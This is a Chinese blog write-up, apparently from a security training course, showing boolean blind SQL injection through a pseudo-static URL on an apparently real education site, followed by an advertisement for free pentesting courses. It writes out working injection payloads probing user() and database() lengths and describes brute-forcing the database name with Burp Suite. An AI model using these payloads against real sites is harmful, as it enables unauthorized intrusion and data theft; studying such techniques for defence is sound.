vlambda博客
学习文章列表

干货!一次伪静态页面的SQL注入

本文为掌控安全实战训练营某节课内容,将其作为笔记分享给大家,希望对大家有所帮助,文末有免费训练营报名入口。

涉及技能点

  • SQL注入基础原理

  • 盲注常用函数及思路

  • burpsuite基础知识

过程记录

1.发现

在翻阅一EDU站点时,发现路径中带有明显的数字参数

好像与我们平时习惯的xxx.php?id=不同呃

2.尝试注入

按照以往习惯,先用order by探探底,结果翻车了…应该有自定义逻辑在过滤敏感关键词。

干货!一次伪静态页面的SQL注入

继续努力,峰回路转,耶~~~!


构造boolen等式时能够被带入查询语句并显示不同效果


当条件不符合时,71-false=71,显示71.html,无数据


http://EDU_SITE/.../..._id/71-false.html

=> SELECT ..FROM .. WHERE ... AND _id=71-false

干货!一次伪静态页面的SQL注入

而当条件符合时,71-true=70,显示70.html,有数据


http://EDU_SITE/.../..._id/71-true.html

=> SELECT ..FROM .. WHERE ... AND _id=71-true

干货!一次伪静态页面的SQL注入

3.确定攻击方式,获取数据进行验证


获取用户名长度


http://EDU_SITE/.../..._id/71-(length(user())=12).html

=> SELECT ..FROM .. WHERE ... AND _id=71-(length(user())=12)

干货!一次伪静态页面的SQL注入

获取数据库长度


http://EDU_SITE/.../..._id/71-(length(database())=6).html

=> SELECT ..FROM .. WHERE ... AND _id=71-(length(database())=6)

干货!一次伪静态页面的SQL注入


尝试用burpsuite的clusterboom模式对database进行爆破


其中参数1 为位数,参数2 为可能出现的字符明文


干货!一次伪静态页面的SQL注入

干货!一次伪静态页面的SQL注入

获得最终database()=db_cms


干货!一次伪静态页面的SQL注入


在尝试sql注入的时候,往往过分关注get传参或者post传参而忽略了URL中自带的注入点,有时候一些明显的数字型参数也能够带入payload

零基础从入门到挖漏洞,其实也没那么难更多的是找不到适合自己的学习路线,从而踩了不少坑,以及还未形成独立的渗透思维,不得法门,就算花再多时间也与你无缘。想要学好渗透,最主要的还得是在找到一套对自己有益的教程,打下牢固的基础,在学习、打靶场的过程中,拓展自己的思维,从而慢慢形成一套自己的渗透思维.

掌控安全推出的免费入门渗透课程,上述所包含的知识点,这个视频里都有涉及,如果你刚入门,可以领取这套视频,内容很全且免费,在授课过程中,以幽默风趣的方式讲述知识点,以便能够更加深入的理解。同时配有各种工具的使用及安装包(包括上文用到的burp神器)

如果你还挖不到漏洞,可以从这套视频里学习一些思路,以及一些骚操作技巧.

如果你担心学完知识,没有实战练手的地方,这套免费的教程配有靶场练习,在学习中升级打怪,查漏补缺,为日后实战提供更多的思路.(ps:打靶场是实战前必不可缺的一部分)

看完视频你将学会:

  • 熟悉常见漏洞的成因,检测方法,攻击手段(同时配有靶场练手)

  • 安全人员必备的各种工具,从安装到使用以及实战靶场操作(附安装包)

  • 同时包含不少的讲师个人总结的实用的小技巧


已有累计五万+就业、转岗或安全兴趣者报名学习


比如最近这一期是SQL注入(实战获得管理员后台密码、拿到服务器权限)从原理讲到漏洞介绍,再到进阶,更多视频(录播教程)可扫码领取,同时也可直接参与每天的直播授课.

  


 扫码白嫖各种学习资料


 还有免费的配套靶场交流群